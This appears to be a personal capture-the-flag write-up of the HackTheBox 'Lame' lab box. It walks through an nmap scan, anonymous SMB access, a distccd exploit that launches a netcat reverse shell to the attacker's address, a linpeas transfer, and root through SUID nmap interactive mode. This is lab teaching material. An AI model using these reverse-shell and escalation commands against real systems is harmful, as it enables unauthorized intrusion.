

Lame

Wednesday, July 27, 2022 9:27 PM

Started off with a nmap scan `nmap -Pn -T5 -sV -sC -A -p- -oN lame_nmap.txt 10.10.10.3`

While that was scanning I went to go check out to see if the website is up. But I don't get anything back and you'll see why when the results are done.

We get back some nice info to start us off.

Port 80 isn't open so there was no site for me to check.

But there was other ports open such as port 21 with the version number of `vsftpd 2.3.4` (This version of vsftpd is vulnerable to backdoor command execution CVE-2011-2523) I couldn't get it to work though. So I moved on. If you can't get something to work, don't spend too much time on it. Look at the next route you can take and if you get stuck again then go back and try to repeat your steps to make sure you didn't make a typo somewhere.

```
1 # Nmap 7.92 scan initiated Wed Jul 27 17:39:46 2022 as: nmap -Pn -T5 -sV -sC -A -p- -oN lame_nmap.txt 10.10.10.3
2 Nmap scan report for 10.10.10.3
3 Host is up (0.069s latency).
4 Not shown: 65530 filtered tcp ports (no-response)
5 PORT      STATE SERVICE      VERSION
6 21/tcp    open  ftp          vsftpd 2.3.4
7 | ftp-syst:
8 |   STAT:
9 | FTP server status:
10 |   Connected to 10.10.14.6
11 |   Logged in as ftp
12 |   TYPE: ASCII
13 |   No session bandwidth limit
14 |   Session timeout in seconds is 300
15 |   Control connection is plain text
16 |   Data connections will be plain text
17 |   vsFTPd 2.3.4 - secure, fast, stable
18 |_End of status
19 |_ftp-anon: Anonymous FTP login allowed (FTP code 230)
20 22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
21 | ssh-hostkey:
22 |   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
23 |   2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
24 139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
25 445/tcp   open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
26 3632/tcp  open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
27 Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
28 Aggressive OS guesses: DD-WRT v24-spl (Linux 2.4.36) (92%), OpenWrt White Russian 0.9 (Linux 2.4.30) (92%), Arris TG862G/CT
cable modem (92%), Dell Integrated Remote Access Controller (iDRAC6) (92%), Linksys WET54GS5 WAP, Tranzeeo TR-CPQ-19f WAP, or
Xerox WorkCentre Pro 265 printer (92%), Linux 2.4.21 - 2.4.31 (likely embedded) (92%), Linux 2.4.27 (92%), Citrix XenServer
5.5 (Linux 2.6.18) (92%), Linux 2.6.22 (92%), Linux 2.6.8 - 2.6.30 (92%)
29 No exact OS matches for host (test conditions non-ideal).
30 Network Distance: 2 hops
```

```

31 Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
32
33 Host script results:
34 | smb-security-mode:
35 |   account_used: guest
36 |   authentication_level: user
37 |   challenge_response: supported
38 |_ message_signing: disabled (dangerous, but default)
39 |_ smb2-time: Protocol negotiation failed (SMB2)
40 |_ smb-os-discovery:
41 |   OS: Unix (Samba 3.0.20-Debian)
42 |   Computer name: lame
43 |   NetBIOS computer name:
44 |   Domain name: hackthebox.gr
45 |   FQDN: lame.hackthebox.gr
46 |_ System time: 2022-07-27T20:43:45-04:00
47 |_ clock-skew: mean: 2h00m23s, deviation: 2h49m46s, median: 20s
48
49 TRACEROUTE (using port 445/tcp)
50 HOP RTT      ADDRESS
51 1   66.89 ms  10.10.14.1
52 2   67.79 ms  10.10.10.3
53
54 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
55 # Nmap done at Wed Jul 27 17:43:59 2022 -- 1 IP address (1 host up) scanned in 252.76 seconds
56

```

I see that smb is open. 139/445. I run `smbmap -H 10.10.10.3` and get back some users.

```

Shellshock: [/home/Shellshock/Documents/htb/lame] -> smbmap -H 10.10.10.3
[+] IP: 10.10.10.3:445  Name: 10.10.10.3
    Disk
    ----
    print$          NO ACCESS      Printer Drivers
    tmp             READ, WRITE    oh noes!
    opt             NO ACCESS
    IPC$            NO ACCESS      IPC Service (lame server (Samba 3.0.20-Debian))
    ADMIN$          NO ACCESS      IPC Service (lame server (Samba 3.0.20-Debian))
Shellshock: [/home/Shellshock/Documents/htb/lame] ->

```

we can see that tmp is **READ, WRITE**. Lets login and see what we can find.

I use `smbclient \\\\10.10.10.3\\tmp` and we get a **hit**. I use `ls` to see what we can find. Unfortunately there is nothing here either. We could use `put` and `get` files here but there is no port 80 open for us to execute the files to gain a shell from here. Some bad luck but we got more info so lets keep looking.

```

Shellshock:[/home/Shellshock/Documents/htb/lame] -> smbclient \\\10.10.10.3\\tmp
Password for [WORKGROUP\Shellshock]:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> ls
.                D          0  Wed Jul 27 22:26:31 2022
..              DR          0  Fri Oct 30 23:33:58 2020
distcc_ff04f12b.stdout  R          0  Wed Jul 27 19:15:07 2022
distccd_ffebf12b.i     R         10  Wed Jul 27 19:15:07 2022
.ICE-unix            DH          0  Wed Jul 27 17:39:43 2022
vmware-root          DR          0  Wed Jul 27 17:40:08 2022
distccd_ffd3f12b.o     R          0  Wed Jul 27 19:15:07 2022
.X11-unix            DH          0  Wed Jul 27 17:40:08 2022
sudo_2021_3156.py      AR        8179  Sat Jul 23 23:20:08 2022
.X0-lock             HR          11  Wed Jul 27 17:40:08 2022
tmp.aIsng23549         R          22  Wed Jul 27 20:26:13 2022
distcc_ff3cf12b.stderr R         119  Wed Jul 27 19:16:44 2022
5564.jsvc_up           R          0  Wed Jul 27 17:40:45 2022
vgauthsvclog.txt.0     R        1600  Wed Jul 27 17:39:41 2022

7282168 blocks of size 1024. 5386420 blocks available

```

I go back to the nmap results and see port 3632 is open and it gave us the version of application running. `distccd v1`

I go to google and search for "`distccd v1 exploit`" first link brings us to

<https://gist.github.com/DarkCoderSc/4dbf6229a93e75c3bdf6b467e67a9855>

after reading the exploit it seems to generate a random alpha numeric string.

Reads the string. And looks for the trigger exploit which is `command`, `host`, `port`

If it is able to connect to the host it will send the payload and hopefully give us a reverse shell.

Let's give it a try. I started by copying the code and writing it to a file naming it

`CVE-2004-2687.py`, did `chmod +x CVE-2004-2687.py`

the file is ready to be used. First I started a listener on my attacking machine with `nc -lvnp 9001` and then used the following command

`./CVE-2004-2687.py -t 10.10.10.3 -p 3632 -c "nc 10.10.14.10 9001 -e /bin/sh"` No good, got errors. Then I tried.

`python3 CVE-2004-2687.py -t 10.10.10.3 -p 3632 -c "nc 10.10.14.10 9001 -e /bin/sh"` I got a connected to remote service Ok but then the

socket timed out instantly killing the connection. I went back to the exploit and read the comments, it mentioned that python3 is to new.

So I was going to work my way down from python3 to python. Next up,

`python2 CVE-2004-2687.py -t 10.10.10.3 -p 3632 -c "nc 10.10.14.10 9001 -e /bin/sh"` Success, we get a shell!



```
Shellshock:[/home/Shellshock/Documents/htb] -> nc -lvnp 9001
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.10.10.3.
Ncat: Connection from 10.10.10.3:44276.
id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
```

Let's upgrade the shell. I used the following.

```
python -c 'import pty; pty.spawn("/bin/bash")' python3 and python2 didn't work.
export TERM=xterm
stty raw -echo && fg
enter
enter
```

We're a normal user daemon. I started off with `sudo -l` but it asked for a password. Let's move on.

I look around a bit and `cd /home` directory and do a `ls` and see what's there.

Nothing good in the user directory but I did go into makis and find the `user.txt` file. I do a `cat user.txt` at it and we get out our first flag.

```
daemon@lame:/home/makis$ cat user.txt
dc5fe551ec49d528a9b512702ebcf77c
```



Next, let's head over to the tmp directory and try to transfer over some enumeration files like `linpeas.sh`

I go to my attacking machine on my transfers directory where I store all my enumeration files, scripts, images, anything that can be used to help us get an edge on the victim machine.

I use `python3 -m http.server 80` get the server up and running.

On the victim machine I'll be in the /tmp directory and use `wget://10.10.14.10/linpeas.sh` which is my attacking machine's IP from HackTheBox.

The file gets transferred over no problem. I use the `chmod +x linpeas.sh` making it an executable file.

I use `./linpeas.sh` and it kicks off no problem. We get back a lot of results. Several vulnerabilities, but one in particular catches my eye with the yellow red highlight.


```
Executing Linux Exploit Suggester 2
https://github.com/jondonas/linux-exploit-suggester-2
[1] american-sign-language
    CVE-2010-4347
    Source: http://www.securityfocus.com/bid/45408
[2] can_bcm
    CVE-2010-2959
    Source: http://www.exploit-db.com/exploits/14814
[3] dirty_cow
    CVE-2016-5195
    Source: http://www.exploit-db.com/exploits/40616
[4] do_pages_move
    Alt: sieve          CVE-2010-0415
    Source: Spenders Enlightenment
[5] exploit_x
    CVE-2018-14665
    Source: http://www.exploit-db.com/exploits/45697
[6] half_nelson1
    Alt: econet          CVE-2010-3848
    Source: http://www.exploit-db.com/exploits/17787
[7] half_nelson2
    Alt: econet          CVE-2010-3850
    Source: http://www.exploit-db.com/exploits/17787
[8] half_nelson3
    Alt: econet          CVE-2010-4073
    Source: http://www.exploit-db.com/exploits/17787
[9] msr
    CVE-2013-0268
    Source: http://www.exploit-db.com/exploits/27297
[10] pipe.c_32bit
    CVE-2009-3547
    Source: http://www.securityfocus.com/data/vulnerabilities/exploits/36901-1.c
[11] pktdvd
    CVE-2010-3437
    Source: http://www.exploit-db.com/exploits/15150
[12] reiserfs
    CVE-2010-1146
    Source: http://www.exploit-db.com/exploits/12130
[13] sock_sendpage
    Alt: wunderbar_emporium    CVE-2009-2692
    Source: http://www.exploit-db.com/exploits/9435
[14] sock_sendpage2
    Alt: proto_ops          CVE-2009-2692
    Source: http://www.exploit-db.com/exploits/9436

[15] video4linux
    CVE-2010-3081
    Source: http://www.exploit-db.com/exploits/15024
[16] vmsplICE1
    Alt: jessica biel          CVE-2008-0600
    Source: http://www.exploit-db.com/exploits/5092
[17] vmsplICE2
    Alt: diane_lane           CVE-2008-0600
    Source: http://www.exploit-db.com/exploits/5093
```

```
Interesting Files

SUID - Check easy privesc, exploits and write perms
https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid
-rwsr-xr-x 1 root root 63K Apr 14 2008 /bin/umount ---> BSD/Linux(08-1996)
-rwsr-xr-x 1 root fuse 20K Feb 26 2008 /bin/fusermount
-rwsr-xr-x 1 root root 25K Apr 2 2008 /bin/su
-rwsr-xr-x 1 root root 80K Apr 14 2008 /bin/mount ---> Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8
-rwsr-xr-x 1 root root 31K Dec 10 2007 /bin/ping
-rwsr-xr-x 1 root root 27K Dec 10 2007 /bin/ping6
-rwsr-xr-x 1 root root 64K Dec 2 2008 /sbin/mount.nfs
-rwsr-xr-x 1 root dhcp 2.9K Apr 2 2008 /lib/dhcp3-client/call-dhclient-script (Unknown SUID binary)
-rwsr-xr-x 2 root root 106K Feb 25 2008 /usr/bin/sudo ---> check_if_the_sudo_version_is_vulnerableedit
-rwsr-xr-x 1 root root 7.3K Jun 25 2008 /usr/bin/X
-rwsr-xr-x 1 root root 8.4K Nov 22 2007 /usr/bin/netkit-rsh
-rwsr-xr-x 1 root root 37K Apr 2 2008 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 13K Dec 10 2007 /usr/bin/traceroute6.iputils
-rwsr-xr-x 2 root root 106K Feb 25 2008 /usr/bin/sudo ---> check_if_the_sudo_version_is_vulnerable
-rwsr-xr-x 1 root root 12K Nov 22 2007 /usr/bin/netkit-rlogin
-rwsr-xr-x 1 root root 11K Dec 10 2007 /usr/bin/arping
You own the SUID file: /usr/bin/at
-rwsr-xr-x 1 root root 19K Apr 2 2008 /usr/bin/newgrp ---> HP-UX_10.20
-rwsr-xr-x 1 root root 28K Apr 2 2008 /usr/bin/chfn ---> SuSE_9.3/10
-rwsr-xr-x 1 root root 763K Apr 8 2008 /usr/bin/nmap
-rwsr-xr-x 1 root root 24K Apr 2 2008 /usr/bin/chsh
-rwsr-xr-x 1 root root 16K Nov 22 2007 /usr/bin/netkit-rcp
-rwsr-xr-x 1 root root 29K Apr 2 2008 /usr/bin/passwd ---> Apple_Mac_OSX(03-2006)/Solaris_8/9(12-2004)/SPARC_8/9/Sun_Solaris_2.3_to_2.5.1(02-1997)
-rwsr-xr-x 1 root root 46K Mar 31 2008 /usr/bin/mtr
-rwsr-xr-x 1 libuuid libuuid 13K Mar 27 2008 /usr/sbin/uuid
-rwsr-xr-x 1 root dip 263K Oct 4 2007 /usr/sbin/pppd ---> Apple_Mac_OSX_10.4.8(05-2007)
-rwsr-xr-x 1 root telnetd 5.9K Dec 17 2006 /usr/lib/telnetlogin
-rwsr-xr-x 1 root www-data 11K Mar 9 2010 /usr/lib/apache2/suexec
-rwsr-xr-x 1 root root 4.5K Nov 5 2007 /usr/lib/eject/dmccrypt-get-device
-rwsr-xr-x 1 root root 162K Apr 6 2008 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 9.4K Aug 17 2009 /usr/lib/pt_chown ---> GNU_glibc_2.1/2.1.1_-6(08-1999)
-r-sr-xr-x 1 root root 14K Nov 3 2020 /usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
-r-sr-xr-x 1 root root 9.4K Nov 3 2020 /usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
```

the `/usr/bin/nmap` suid

I head over to <https://gtfobins.github.io/> and search for `nmap`

I `cd /usr/bin` where the suid is located.

I start off with shell code (a) and nothing happened. So I keep going down the list.

Shell (b) worked!

```
daemon@lame:/tmp$ cd /usr/bin/
daemon@lame:/usr/bin$ nmap --interactive

Starting Nmap V. 4.53 ( http://insecure.org )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
sh-3.2# whoami
root
sh-3.2#
```

we can now `cd /root` and see what is there which is the `root.txt` flag!

we have successfully rooted this box!



```
sh-3.2# cd /root
sh-3.2# ls
Desktop  reset_logs.sh  root.txt  vnc.log
sh-3.2# cat root.txt
3a6dad17b869927153cd30ead8ce0c8
sh-3.2# |
```